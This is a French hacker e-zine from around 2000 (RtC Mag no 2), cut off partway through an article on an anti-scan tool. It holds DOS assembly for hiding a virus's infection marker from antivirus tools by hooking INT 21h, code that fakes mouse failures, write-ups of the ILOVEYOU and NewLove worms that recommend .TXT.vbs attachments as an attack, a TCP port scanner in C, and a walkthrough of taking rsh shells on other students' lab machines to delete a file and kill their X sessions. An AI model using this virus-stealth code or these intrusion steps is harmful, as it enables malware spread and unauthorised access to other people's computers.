                               RtC MaG no 2

******************************************************************************
******************************************************************************
_____________________________		
|       |          |   ______|      Call us: Par4noID, SnEaKie
|    ___|___    ___|   |                     SLy, S/asH
| |\  \     |   |  |   |_____                The ScienTisT, AndroGyne
|_| \__\    |___|  |_________|      http://www.chez.com/rtcgang
					 			
******************************************************************************
******************************************************************************

DISCLAIMER:
	
  LES AUTEURS NE PEUVENT EN AUCUN CAS ETRE TENUS RESPONSABLES DE L'UTILISATION
FRAUDULEUSE DE CE DOCUMENT.CELUI-CI A EN EFFET ETE CREE DANS LE SOUCI DE
PERMETTRE UNE MEILLEURE CONNAISSANCE DES SYSTEMES INFORMATIQUES ET NON DANS UN
BUT DESTRUCTEUR , ILLEGAL, ET SURTOUT IMMORAL.
  LES AUTEURS DECLINENT AINSI TOUTE RESPONSABILITE QUANT A L'UTILISATION
ILLEGALE DES INFORMATIONS FOURNIES CI DESSOUS.

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

EDITO:

"La libert est le pouvoir qui appartient  l'homme d'exercer,  son gr toutes ses facults. Elle a la justice pour rgle, les droits d'autrui pour bornes, la nature pour principe, et la foi pour sauvegarde"   
                                                                     Robespierre	
	 
Aout 92: 
3 jeunes individus runissent leur argent pour fonder une chaine de tlvision pirate. Ils mettent au niveau rgional  partir d'une petite camionnette qui sillonnent les rues de Marseille. Ils ne diffusent aucun film qu'ils n'ont fait, aucune image qu'ils ne peuvent revendiquer, aucune image dont ils ne sont pas les auteurs. Ils utilisent la plage alors laisse vacante par l'ancienne cinquime et ne diffusent que des reportages sur la ville, la vie, les gens.

Plusieurs mois de cachot seront requis contre les dangereux criminels, terroristes 
en puissance...

La mme semaine, 20h25: 
Le Pen expose tranquillement ses ides xnophobes. 5 minutes d'antenne seront laisser  l'abandon d'un fasciste, 5 minutes d'insultes racistes, 5 minutes qui feront oublier  15% de la population jusqu' l'existence d'une seconde guerre mondiale, 5 minutes pour lesquelles l'individu ne sera jamais inquit par notre justice dont il serait obscne de remettre en doute l'quit...

Comment expliquer de tels faits ? 
La tlvision est l'affaire des puissants, elle n'est pas le reflet du peuple comme elle voudrait s'en donner l'image, elle est un mdia control, organis selon les rgles simples d'une dictature : vous n'y pntrez que par connaissance, toute tentative de putch y est rprim dans le sang.

Plusieurs mois de cachot seront requis contre les dangereux criminels, terroristes en puissance...

Avril 2000: une nouvelle loi est vote: les hebergeurs internet sont dsormais responsables du contenu de leurs pages. L'info passe presque inapercue, elle est pourtant de taille! Quel est le fondement d'une telle loi? Lutter contre la propagation des sites du KKK? Vous m'en voyez sincrement dsol messieurs les ministres mais ces organisations ont leurs propres structures, leurs propres serveurs. Lutter contre qui, contre quoi? Les HACKERS dont yahoo a supprim les principales rfrences???? Qui veut voir leur disparitons? La rponse est simple, elle tient en quelques lettres:
www.tf1.fr et tous leurs amis, tous ceux qui voient dans l'internet le nouveau territoire  conqurir, LA nouvelle chance  saisir. Les puissants veulent appliquer au web les principes qu'ils ont quelques annes auparavant appliqus, il le faut dire avec succs,  la tlvision. Leur but est simple, faire du web une vitrine commerciale, un immense magasin. Ce serait compter sans nous, sans toi, membres d'un mme peuple qui ne porte qu'un nom, qui ne suit qu'une mme bannire: l'underground. Car doit-on accepter qu'internet ne deviennent qu'un supermarch ou les caissires s'appeleraient BILL GATES ? Il est temps que l'underground francais prenne conscience de ses droits mais aussi de ses devoirs. Le hacker est le garant d'une libert. Il est l'unique conscience d'internet, le dfenseur d'un mdia qui doit rester accessible  tous. Il instaure une dmocratie l ou certains flons voudraient instaurer une dictature, rige au nom d'un unique principe: l'argent.
Mon principe  moi s'appelle LIBERTE, il est ce pourquoi tant d'homme sont morts,  sacrifis en une mme lutte. Un droit si difficilement acquis ne pourraient souffrir d'une entorse : Toi qui lis cette page, prends conscience de la lutte d'un peuple pour son ides de libert, accepte ce peuple et suis-le dans sa rvolution: la REVOLUTION UNDERGROUND.
                               
                                                                        Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Sommaire:

	1/ 	EDITO						Par4noID
	2/ 	Furtivite au niveau de la date      Androgyne
	3/	ILOVEYOU					Par4noID, SnEakie, Scientist
	4/	Virus et dommages materiels		Androgyne
	5/	FAK-HACK 2: 1ere partie			Par4noID	
	6/	Hacking Spirit				S/ash
	7/	NewLove					SLy
	8/	Prog Anti-Scan tcp : Protect U!	Par4noID
	9/	Debat sur la cybercriminalite		Androgyne
	10/	ICMP my friend				SnEakie
	11/	2600 France					Par4noID
	12/	La bOmb info du mois     		Androgyne
	14/	Reverse Engineering			S/ash
	15/	Projet K-OS					Androgyne
	16/  	ERRATA					SnEakie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                   Furtivit des virus au niveau de la date 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

  Une bonne mthode de reconnaissance des fichiers infects consiste  changer sa date. Cette mthode est non seulement simple mais ne ncessite pas toute une artillerie d'instructions assembleur. Pour vrifier si le fichier est infect, on utilise une routine du style de celle qui suit (le fichier aura t ouvert auparavant et l'handle du fichier mis dans bx) :

--------------------------------------------------------------------------------
IS_INFECTED:
        mov al,0
        mov ah,57h
        int 21h                        ;rcupration de la date
        cmp dx,????h                   
        ret
--------------------------------------------------------------------------------

	????h dsigne la date du fichier selon 512*(Anne-1980)+32*Mois+Jour. Ainsi, 26 Avril 1986 (date de l'explosion de la centrale de Tchernobyl) se code 512*(1986-1980)+32*4+26=3226=0C9Ah, et voil...
	Au cours de l'infection, on rajoute juste ces quelques lignes qui change la date  la date souhaite (ne jamais oublier que plus la date est ancienne, moins vous rencontrerez des fichiers naturellement immuniss) :

--------------------------------------------------------------------------------
CHANGE_DATE:
        mov al,0
        mov ah,57h
        int 21h                        ;rcupration de la date
        mov dx,????h
        mov al,1
        mov ah,57h
        int 21h                        ;et changement de date
	ret
--------------------------------------------------------------------------------

  Maintenant, cette mthode a un petit inconvnient. Les antivirus n'auront plus qu' regarder la date pour voir si un fichier est infect. Il faut donc utiliser des techniques de furtivit. Pour ceux qui se demandent ce qu'est la furtivit, c'est la capacit  se dissimuler aux antivirus. Attention, cela n'a rien  voir avec le polymorphisme. Il faut donc renvoyer la date originale  l'appel de l'interruption 21h fonction 57h. Il faut alors faire deux choses : modifier les deux routines prcdentes pour prendre en compte la furtivit et ajouter la routine de furtivit au gestionnaire de l'interruption 21h.
  Voici d'abord la routine IS_INFECTED corrige :

--------------------------------------------------------------------------------
IS_INFECTED:
        mov al,0
        mov ah,57h
	pushf
        call dword ptr cs:[Old_21]                 ;rcupration de la date
        cmp dx,????h                   
        ret
--------------------------------------------------------------------------------

	et la routine CHANGE_DATE corrige :

--------------------------------------------------------------------------------
CHANGE_DATE:
        mov al,0
        mov ah,57h
	mov [Date_Save],dx
	pushf
        call dword ptr cs:[Old_21]                  ;rcupration de la date
        mov dx,????h
        mov al,1
        mov ah,57h
        pushf                              ;et changement de date
	call dword ptr cs:[Old_21]
	ret

Date_Save dw 0
--------------------------------------------------------------------------------

	Alors se pose un problme crucial... Quand, on ouvre un fichier, on peut a priori savoir s'il est infect ou non. Le problme est alors de rcuprer la date d'origine car on ne sait absolument pas o se trouve le buffer Date_Save dans le fichier. Ce problme est-il insoluble ? Non videmment, car la plupart des virus infecte les .com en se copiant  la fin et en rajoutant un saut au dbut du .com (je prsente un virus simple, pas violent et tout expliqu qui marche selon ce principe dans l'article Projet K-os). On peut alors placer le buffer juste aprs le saut (i.e.  l'offset 103h car un .com s'excute toujours  partir de l'offset 100h et un saut est cod en 3 octets). Et on y accde en plaant le pointeur de fichier sur cet emplacement mmoire, on le lit et bingo ! Je vous laisse alors modifier la routine CHANGE_DATE de faon  placer la date originale l o il faut. Voil alors  quoi ressemble la routine de furtivit dans le gestionnaire d'interruption :

--------------------------------------------------------------------------------
NEW_INT_21:
	cmp ax,5700h
	jz DATE_HOOK
	...

DATE_HOOK:
	push ax
	push cx
	push dx

	pushf
	call dword ptr cs:[Old_21]
	cmp dx,????h
	jnz END_HOOK

	push ax
	push cx
	push dx

	mov al,0
	xor cx,cx
	mov dx,3
	mov ah,42h
	pushf
	call dword ptr cs:[Old_21]

	mov cx,2
	mov dx,offset Original_Date
	mov ah,3Fh
	pushf
	call dword ptr cs:[Old_21]

	pop dx
	pop cx
	pop ax

	pushf
	call dword ptr cs:[Old_21]
	mov word ptr dx,[Original_Date]

	pop dx
	pop cx
	pop ax

	pushf
	call dword ptr cs:[Old_21]

  END_HOOK:
	ret



Original_Date dw 0
--------------------------------------------------------------------------------
	Ainsi, toute tentative de lecture de la date par un programme tranger renverra la date originale, comme si le virus ne l'avait pas infect. Tout cela peut paratre un peu dur mais je peux vous assurer que c'est une protection lmentaire pour rester dans l'ombre le plus longtemps possible. Une autre technique de furtivit au niveau de la date consiste  avancer la date d'une centaine d'annes. Ansi tout programme ayant une date au del de 2080 sera un programme infect, il suffit alors d'enlever 100  l'anne et de la renvoyer, ce qui ne ncessite plus tous les jonglages que nous avons mis en place. Mais imaginez le plaisir que vous avez  redater tous les .com  la date de votre anniversaire...

	On peut ensuite laborer des techniques de furtivit encore plus importantes (on peut par exemple "endormir" le virus si on dtecte la prsence d'un scanneur antivirus) mais qui sont galement bien plus compliques et dont je ne matrse pas encore le maniement.

                         						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                                 ILOVEYOU
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Tout le monde en parle, vous n'y avez pas chapp, le virus ILOVEYOU fait des ravages.On le compare souvent  un super MAILISSA... ce qui est loin d'tre juste! En effet, mailissa est un virus macro cad qu'il utilise les macros miKROsoft word pour se propager tandis que ILOVEYOU est un VBS (visual basic script). Cet article est paru sur le site du gang  la sortie dudit virus. 

1/Petites explications pour ceux qui n'ont jamais entendu parler de .vb ou de .vbs 

  Voici un ptit exemple de prog VB: 

SUB MAIN()                        ; dclaration de la procdure principale 
  msgbox("RTCg4ng")            ; affiche une boite de dialogue contenant RTCg4ng 
END SUB                             ; fin de la proc 

  Reste  compiler le prog avec un zentil compilateur de miKroKro (prix public constat 2000 balles). Vous avez alors un zoli .exe qui vous affiche une boite de dialogue contenant le nom d'un celebre groupe de hackers (on vous laisse deviner lequel :-) ) 

  Et si j'ai pas de compilateur VB ???? 

Vous en avez rver, MiKroKro l'a fait : un interpreteur VB inclus dans sa solution logistique complte win95/98 (livr avec tous les ordinateurs:  monopole oblige!). 

  Et comment ca marche??? 

Et bien quand ca marche (taux gnralement constat 0.0002% Windows oblige!), il vous suffit de taper des commandes visual basic dans un editeur quelconque (bloc note par exemple) et de donner  votre fichier l'extension .vbs  . Pour en revenir  l'exemple prcdent, creez un .vbs ditez-le et tapez msgbox("RTCg4ng") (laisser tomber les dclarations). 

2/ ILOVEYOU 

  a/ Le principe. 

ILOVEYOU vous envoie un mail attach d'un document LOVE-LETTER-FOR-YOU.TXT.vbs . Observez l'extension finale .vbs c'est l'unique extension qui compte! En effet vous pouvez mettre des points dans les noms windows, seul le dernier point
compte pour l'extension. Ici le .TXT n'est qu'un leure destin  faire croire  la victime qu'elle est en prsence d'un texte. 
LOVE-LETTER-FOR-YOU.TXT.vbs est donc un script Visual Basic, c'est  dire, comme nous l'avons vu prcdemment, une liste d'instructions visual basic que l'environnemt script windows s'empresse d'xcuter! Ouvrir ce document quivaut  xcuter les instructions du script c'est  dire  infecter votre machine. 

  b/ L'infection. 

-infection des mails: si vous avez outlook, (et vous l'avez : monopole oblige ), ILOVEYOU utilise le contenu de la cl
HKEY_CURRENT_USER\Software\Microsoft\WAB\ pour connaitre votre carnet d'adresse (technique qui rappelle furieusement un virus nomm MAILISSA), le virus s'automail alors  tous vos amis qui vont alors recevoir un sympathique mail :

        Subject = "ILOVEYOU" 
        Body = "kindly check the attached LOVELETTER coming from me." 
        Attachments = LOVE-LETTER-FOR-YOU.TXT.vbs 

-infection des autres scripts : tous vos autres scripts y passent : vbs, vbe, js, css, etc... par une modification du codage. 

-infection des .jpeg, .mp2, .mp3 : comment peut-on mettre du code dans des fichiers sons? C'est simple, on peut pas. La
mthode utilise par ILOVEYOU est simple : d'abord il dtruit le fichier, ensuite il se recopie en se nommant nom_du_mp3.mp3.vbs (n'oubliez pas, seule la dernire extension compte pour windows!!) 

-infection mirc : alors l c'est carrment un bon moyen de propagation: lorsque vous joinez, un DCC send se lance  tout le channel (tout le channel recoit alors un zoli message ILOVEYOU!!!) 

3/Ce que nous apprend le virus. 

  a/ MORALITE: MiKrOKro, arrtes de faire le beau!! Monopole oblige, un virus qui utilise des "failles" ou plutt des faiblesses de scurit de windows se rpend  une vitesse faramineuse dans le monde entier. 

  b/ Technique de HAck: Pas de problmes balancer vos progs visual sous forme de .TXT.vbs ou .MP3.vbs attachs  de sympathiques mails (ca ne marche que sur le quart du monde!!!). 

                                                 Par4noID, SnEakie, ScienTisT

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                          Virus et dommages matriels 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////


  Contrairement  ce que peuvent penser beaucoup de personnes, les virus ne peuvent pas causer de dommages matriels. En tout cas, plus maintenant... Il y a un petit bout de temps, on pouvait niquer un lecteur de disquettes en lui demandant d'aller chercher sur un cylindre au del du maximum. On pouvait mme dtruire le moniteur en lui envoyant des octets inadquats. Maintenant tout cela est impossible (ou alors cela relve du miracle). Si vous avez dj entendu dire par exemple que votre barrette de RAM est morte  cause d'un virus ou qu'un virus a dtruit votre disque dur ou que votre clavier ne marche plus  cause d'un virus, sachez que celui qui a dit a n'en sait pas plus que vous (cette attitude fait partie d'une thorie qui veut que toute panne inexplique provient ncessairment d'un virus, thorie tout  fait dbile). Si c'est un vendeur de matriel informatique, dites lui au revoir et allez autre part car vous avez  faire  un escroc (dans ce domaine, il sont plus nombreux qu'on le pense).
	Mais attention, si un virus ne peut pas causer de dommages matriels, il peut tout  fait les simuler. Simulation ne signifie pas destruction. Pour vous montrer combien il est facile de simuler une panne de clavier, allez voir dans l'article La bombe du mag. La gachette de cette bombe peut tre simple, on incrmente un compteur  chaque frappe du clavier. Si le compteur dpasse une certaine limite, BOUM! Mais on peut le faire plus subtilement... On incrmente un compteur, on tire un nombre au hasard et si le nombre tir est infrieur au compteur, la touche appuye ne renvoie rien. Ainsi petit  petit, la touche en question va tre de plus en plus dfaillante, ce qui va paratre au yeux de l'utilisateur comme une panne physique. C'est dbile mais a marche...

	On peut simuler de mme une panne de souris. C'est bien plus facile (grce  l'interruption 33h) et surtout plus marrant. Plusieurs possibilit s'offrent  nous... On peut par exemple faire disparatre le curseur, changer les boutons ou les rendre "dfaillants". Il suffit d'installer un gestionnaire de l'interruption 33h.
	Je vais tout d'abord vous montrer comment faire disparatre le curseur. Pour cela il faut dtourner la fonction 00 sous fonction 01, qui est charge d'afficher le curseur, et de remplacer l'appel  la sous fonction 01 par un appel  la sous fonction 02, qui est charg d'effacer le curseur... Ceci est trs facile  faire, voici donc le code  utiliser :

--------------------------------------------------------------------------------
NEW_INT_33:
	cmp ax,0001h
	jnz INT_33
	mov ax,0002h
  INT_33:
	jmp dword ptr cs:[Old_33]
--------------------------------------------------------------------------------	
  Comme ce code est ultra simple, je vais galement vous donner le code pour changer les boutons. Cette fois, il faut dtourner la fonction 00 sous fonctions 03 et 05. La sous fonction 03 retourne la position et l'tat des boutons et la sous fonction 05 retourne des informations sur les boutons qui ont t presss. Le code se prsente ainsi:

--------------------------------------------------------------------------------
NEW_INT_33:
	cmp ax,0003h
	jz FCTN03
	cmp ax,0005h
	jz FCTN05
  INT_33:
	jmp dword ptr cs:[Old_33]

FCTN03:
	pushf
	call dword ptr cs:[Old_33]
	xor bx,00000011b
	ret

FCTN05:
	cmp bx,0002h
	jz INT_33
	push dx
	mov dx,1
	sub dx,bx
	mov bx,dx
	pop dx
  NEXT:
	pushf
	call dword ptr cs:[Old_33]
	xor ax,00000011b
	ret
--------------------------------------------------------------------------------
  Pour finir voici les donnes concernant l'interruption 33h qui m'ont servies pour cet article. Je prcise que cette interruption est appel pour toutes les souris (aussi bien les Microsoft que les Logitech et les Genius) et que cette interruption gre galement le troisime bouton qui existe maintenant sur la plupart des souris...
--------------------------------------------------------------------------------

                   *** Interruption 33 : MS MOUSE (c'est son nom) ***
Fonction 00h

Sous fonction 00h : Reset drivers and read status
paramtres d'entre:
	AX:0000h
paramtres de sortie:
	AX=tat d'installation des drivers (non installs=0000h/installs=0FFFFh)
	BX=nombres de bouton (02h ou 03h gnralement)

Sous fonction 01h : Show Mouse Cursor
paramtres d'entre:
	AX=0001h
paramtres de sortie:
	aucun

Sous fonction 02h : Hide Mouse Cursor
paramtres d'entre:
	AX=0002h
paramtres de sortie:
	aucun

Sous fonction 03h : Get Position and Button Status
paramtres d'entre:
	AX=0003h
paramtres de sortie:
	BX=tat des boutons
	   bit 0 = 1 si le bouton gauche est press
	   bit 1 = 1 si le bouton droit est press
	   bit 2 = 1 si le bouton du milieu est press
	CX=colonne
	DX=ligne

Sous fonction 04h : Set Position Mouse Cursor
paramtres d'entre:
	AX=0004h
	CX=colonne
	DX=ligne
paramtres de sortie:
	aucun

Sous fonction 05h : Get Button Press Data
paramtres d'entre:
	AX=0005h
	BX=numro du bouton (0=gauche, 1=droit, 2=milieu)
paramtres de sortie:
	AX=tat des boutons (voir sous fonction 03h)
	BX=nombre de fois o le bouton a t press depuis le dernier appel
	CX=colonne o se situait le bouton la dernire fois o il a t press
	DX=ligne o se situait le bouton la dernire fois o il a t press

Sous fonction 06h : Get Button Release Data
paramtres d'entre:
	AX=0006h
	BX=numro du bouton (0=gauche, 1=droit, 2=milieu)
paramtres de sortie:
	AX=tat des boutons (voir sous fonction 03h)
	BX=nombre de fois o le bouton a t relach depuis le dernier appel
	CX=colonne o se situait le bouton la dernire fois o il a t relach
	DX=ligne o se situait le bouton la dernire fois o il a t relach
--------------------------------------------------------------------------------

	J'ai donn toutes ces informations galement pour ceux qui programment en Pascal pour qu'ils puissent crer leur propre unit mouse. Ceux qui voudraient de plus amples informations sur cette interruption 33 peuvent crire  l'adresse donne au dbut du mag.

	P.S. : Pour les nafs qui se serait fait avoir par la terrible bombe de Par4noID paru dans le dernier RTC Mag, Boota Bomba, je tiens  dire qu'une simple disquette boot suffit pour relancer la machine ainsi que du programme d'installation du systme d'exploitation (CD Windows pour la plupart des PC...).

                                                                  By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                           FAK-HACK 2 : 1ere partie
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

  FAK-HACK : ce titre ne vous est sans doute pas inconnu surtout si cela fait quelques annees que vous vous interessez au hack et que vous connaissez vos classiques. FAK-HACK est le titre d'un article ecrit par Sorc3ry, membre actif du PHE, groupe mythique, publiant le non moins mythique mAg NoRoute.
  Si j'ai dcid de nommer cet article FAK-HACK 2, c'est autant parce qu'il s'inscrit dans la continuit de celui du sorcier du HACK, que pour rendre hommage  un groupe qui, s'il n'avait pas disparu, serait problablement aujourd'hui la reference francaise.

                          PHE nous te regrettons

29/05/2000: La pluie tombe  seau, je suis fatigu et ma voiture ne dmarre plus. Bref tout va bien! Attendant le retour du beau temps pour agir, je me suis rfugi dans cet antre obscur que l'on nomme salle info de la FAK. hein?
ILS ont LINUX! cette phrase m'chappant, mes muscles du visage commencerent  se delier et un immense rire m'echappa. 
A cot de l'ordinateur, une notice pour se connecter! et un numro 35, celui de ma machine.
On y va, connection! 

login: public
password:

fak35$ _

Bon, je sors ma disquette RTCg4ng.

fak35$ mount /mnt/floppy
fak35$ cd /mnt/floppy

Je repere dans la salle une dizaine de personnes utilisant Linux, bon allez j'ai envie de m'amuser. Je repere leur numero, de 26  32.

fak35$ ./RTCscan fak26 			

comme son nom l'indique RTCscan est le scan officiel du g4ng RTC, made in SLy and Par4noID		

....
PORT 513 is openED
....

Naaaaaan, le port login est ouvert! le port login permet d'envoyer des r-commandes, c'est--dire des commandes rseaux.

fak35$ rsh fak26 

j'execute ici la r-commande rsh qui me donne un shell sur la machine distante.

fak26$ _		

J'ai ainsi recupere un shell sur la machine distante.

fak26$ mount /mnt/floppy

je monte la disquette distante

fak26$ cd /mnt/floppy
fak26$ ls
Owinter.mp3

fak26$ rm /mnt/floppy/Owinter.mp3

la, je veux dire, pas de piti! on efface tout.
Regardons maintenant les processus lancs par sa machine.
(en gros un processus est un objet dynamique, contenant du code, des variables, une pile d'execution, charg en memoire. En tres tres gros c'est un "programme"  qui s'xcute en arriere-plan)

fak26$ ps ax

la commande ps permet d'afficher les information sur la table des processus.
Il y a notamment un processus qui m'interesse, il s'agit de fwm, il s'agit du process X-window.
Sous Linux, les processus sont repers par le systeme par des numros que l'on nomme PID. Par la commande ps ax , le nom fwm s'affiche au cot de son PID, ici 168.

fak26$ kill -9 168

J'envoie alors au processus 168 (X-window) le signal 9 (le signal fermeture!)
Et la, je vois le x-window de la machine26 se fermer. Jouissance extreme.

fak26$ exit
fak35$ _

Continuons, on s'attaque cette fois-ci  Fak27

fak35$ rsh Fak27
fak27$ _

X-window peut etre considere comme un serveur, et ne l'oublier jamais, comme un serveur d'affichage. Si vous etes un client autoris, vous pouvez afficher sur la machine distante.

fak27$ export DISPLAY=fak27:0.0
fak27$ xhost +

Maintenant tout le monde est un client autoris!!

fak27$ exit
fak35$ xpinguin -display fak27:0.0 &

Et un joli pinguin sur la machine distante...
   								
Bon fini de jouer, ma voiture m'attend.
Avant de deconnecter, non c'est pas vrai: ils n'ont pas protg le boot...
Je reviendrai demain (voir prochain mAg et comment on passe au travers de boot non protect pour etre rooooooot!).

         									Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					Hacking Spirit
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Actuellement le faible underground existant est constitu d'une part de ceux considr comme elite et d'exploit user.

Je ne parlerai pas ici des exploit user qui se contentent d'utiliser des failles et de faire les cracks sur irc...

Mais, tout d'abord, actuellement il n'y a plus d'lite !!! Ceux qui se font appeler Elites sont en faits les vrais hackers.
Dans ceux-ci la plupart ont oubli l'esprit underground qui faisait ce que nous sommes depuis plus de 10 ans.

L'esprit underground est le fait de rechercher la connaissance et non de faire le malin ou de crasher les systmes. Nous ne sommes pas devenus hackers dans l'esprit d'tre bien vu mais dans celui de savoir.
Par l je critique tout les hackers (ou pseudo-hackers) qui font les malins en crashant les syst et en le criant tout fort (nota : bien fait pour mafia boy et sa pauvre attaque Denial of service).

Je voudrais ici galement critiquer les gens qui disent : "Ouais, les pirates c'est des cons... En plus il se font appeler hacker... Les vrais Hackers c'est les mecs comme MDX et Linus...". Je voudrais quand mme signaler que je suis peut-tre pirates mais galement hacker...
Ces gens nous reprochent de ne pas respecter les lois : vous les trouvez juste les lois qui autorisent la moindre personne ayant accd  un autre ordi que le sien de se faire arrter (Loi Godfrain). De plus je ne voie pas pourquoi je respecterai cette loi puisqu'elle m'empche d'accder au savoir.
C'est vrai que les autorits prfrent me traiter de criminel plutot que de scuriser leur systme et de me laisser savoir... il sont jaloux de nos connaissances qui nous donne une supriorit sur eux (au fait il engage aussi  BAC-2 chez les V ?). Je les laisse me traiter de criminel mais le seul crime que j'ai commi est de savoir...
A cause d'eux (les V) l'underground n'a jamais exister de faon non phmre.
Il veulent nous faire taire tout comme en 68 : n'avons nous donc pas voluer depuis ? Mais peu importe les V, et tous les autres, nous perdureront...
Et en attendant il faut que l'underground volue : arrtez de cracher sur les wanabee, aidez-les. Il y cependant eu une certaine volution depuis on est de mieux en mieux vu (cration de zataz).

Ainsi "Grow, multiply and fill the Earth" (Linus Thorvald) devrait maintenant tre notre devise... Et  ce qui vous dites que vous tes des criminels rpondez leur que votre seul crime est le savoir...

<-- File by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                              NEW LOVE
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Il y a deux semaines, ILOVEYOU se rpandait, la RTC l'tudiait et concluait  l'efficacit d'une technique de hack : le script-mail. Nous ne croyions pas si bien dire! L'expansion du nouveau virus NewLove, utilisant les meme techniques que la
LOVEletter tend  dmontrer l'efficacit d'une telle technique. Tant que les mdias ne prviendront pas du danger de l'xcution de script vbs, js, etc... le ScriptMail aura de beau jour devant lui (-:@ . 

Cet article a t publi sur notre site  la sortie du virus.

 Ce virus "polymorphe" crira par-dessus TOUS les fichiers. Il arrive par e-mail avec comme sujet "Fw : (random_file_name.ext)" et en document attach "(random_file_name.ext).vbs". Random_file_name est le nom d'un fichier, pris au hasard, du dossier \Recent de windows (ou si vous le voulez : c'est le dossier contenant les derniers documents visits que vous retouvez dans Dmarrer et Documents). Si le dossier est vide ou n'existe pas, le virus construit au hasard le nom, jusqu' 30 caractre de long. Finalement le virus lui attache une extension pris au pif de la liste { .Doc, .Xls, .Mdb, .bmp, .Mp3, .Txt , .Jpeg, .Gif, .Mov, .Url, .Htm} 
Si le message a t gnr par Windows NT ou Windows 2000, alors le nom du fichier est omis. Ce qui donne pour le sujet : "(.ext).vbs" 
En rcapitulatif, le message sera :  
 
   De :                Nom-de-la-personne-infecte 
    A :                Nom-au-hasard-du-carnet-d'adresse 
Sujet :                FW : (random_file_name.ext) 
Objet : 
Pice jointe:          (random_file_name.ext) .vbs 
  

 Une fois lanc sur votre ordinateur,  le virus se recopie en utilisant le polymorphisme (voir plus bas) dans les dossier Windows et Windows System sous un nom de fichier au hasard (comme si on utilisait le gnrateur de nom  et que \Recent soit vide) et avec une extension au hasard (voir plus haut). Le virus modifie deux entre de registre : 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 
en mettant comme cl le chemin des deux prcdent fichiers copis dans les dossiers Windows et Windows System. De cette faon il sera lanc  chaque dmarrage de Windows. En fait il met dans RunService par exemple la chane
C:\Windows\System\sqfk.jpeg.vbs et dans Service il met une chane C:\Windows\sqfk.jpeg.vbs 

  Ensuite le virus fait du mass mail en utilisant Outlook 98 ou 2000 (Il ne peut pas se rpandre avec Outlook 97 et avec Outlook Express). Les messages sont envoys  toutes les adresses contenues dans les carnets d'adresses (exactement comme le virus "ILOVEYOU"). Chaque message a un sujet comme "FW :  (random_file_name.ext)"   (Voir au dbut si vous ne comprenez pas"), un contenu vide,  et il attache en utilisant un moteur de polymorphisme le virus contenu dans le dossier Windows System en regardant  mon avis dans la base des registres pour savoir son nom (et son chemin). 

  Le moteur de polymorphisme du virus a pour effet de changer l'apparence du virus sans changer ses fonctions, donc pour corser la reconnaissance de la signature du virus (ses lignes de code) par les anti-virus. Il fonctionne grce  la mise en place de 10 lignes de commentaires, grce au caractre ' (apostrophe) en le mettant au dbut d'une ligne, entre les lignes de code du
virus et aussi grce  l'ajout de 50 espaces devant chaque ligne. La taille du virus va augmenter au fil des changes.  
  Pour finir, le virus (ou le worm) examine tous les disques de l'ordinateur et ceux du rseau local accessible et traverse tous les dossiers et les sous-dossiers. Pour chaque fichier trouv, le virus cre un fichier de mme nom avec l'extension ".vbs" et dtruit l'original : ce qui propage le virus et dtruit tous vos fichiers sur tous vos disques accessibles et dont l'criture est
possible. 

Aprs ceci, votre machine aura du mal  dmarrer. 
  
                                                                   SLy

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                       Prog Anti-Scan TCP : proTecT U !
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
  
  C'est article ncessite les connaissances de base en prog c, notamment en prog c reseau. Tout ceux  qui ce savoir fait dfaut peuvent consulter l'excellent, (nous ne rpterons jamais assez!), article de HotCode de NoRoute2.

  Ok, si j'ai dcid d'crire cet article c'est parce qu'aujourd'hui beaucoup de hackers utilisent des scanners  connection complte (pour voir si tel ou tel port est ouvert, on tente une connection : si elle a lieu, on la coupe et on renvoie port open, si une erreur se produit  la connection c'est que le port est ferm).
  Ces types de scan sont tres largement rpandu,  tort...ils reposent en effet  sur une connection complte et c'est bien l leur faiblesse!! Car en tablissant une connection complte votre ordinateur permet  votre 'victime' de rcuprer un tas d'info sur vous au travers d'une structure sin_addr.     
AtHACKons les explications techniques en observant d'abord le code c d'un scan tcp.

-----------------------------------CUT HERE------------------------------------- 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>

struct in_addr resolve(char *name) {
  struct hostent *ent;
  struct in_addr in;

if (!(ent=gethostbyname(name)))
 {in.s_addr=INADDR_NONE;return in;}

return *(struct in_addr *)ent->h_addr; }

void main(int argc,char **argv) {

int sock;
struct sockaddr_in addr;
int port;
char *victim;
int rc;

victim=argv[1];

printf("Created by Par4noID and SLy (members of RtC)\n");
printf("This is a tOOl of RtC TecH\n"); 
 
addr.sin_family=AF_INET;
addr.sin_addr=resolve(victim);

 if (addr.sin_addr.s_addr==INADDR_NONE) { printf("Connection Problem\n") ;
exit(0); }

 for (port=1;port<=10000;port++) {

sock=socket(AF_INET,SOCK_STREAM,0);
addr.sin_port=htons(port);
rc=connect(sock,(struct sockaddr*)&addr,sizeof(addr));
close(sock);
 if (rc<0) { continue; }

 printf("PORT %3ld is openED\n",port) ; }

exit(0);
} 
-----------------------------------CUT HERE------------------------------------- 

Si vous avez bien compris le principe du scan tcp, vous n'aurez aucun mal  comprendre le code suivant, celui de mon anti-scan tcp. Pour l'utiliser taper 

bash$ RTClog 41             o 41 est le port que l'on coute.   

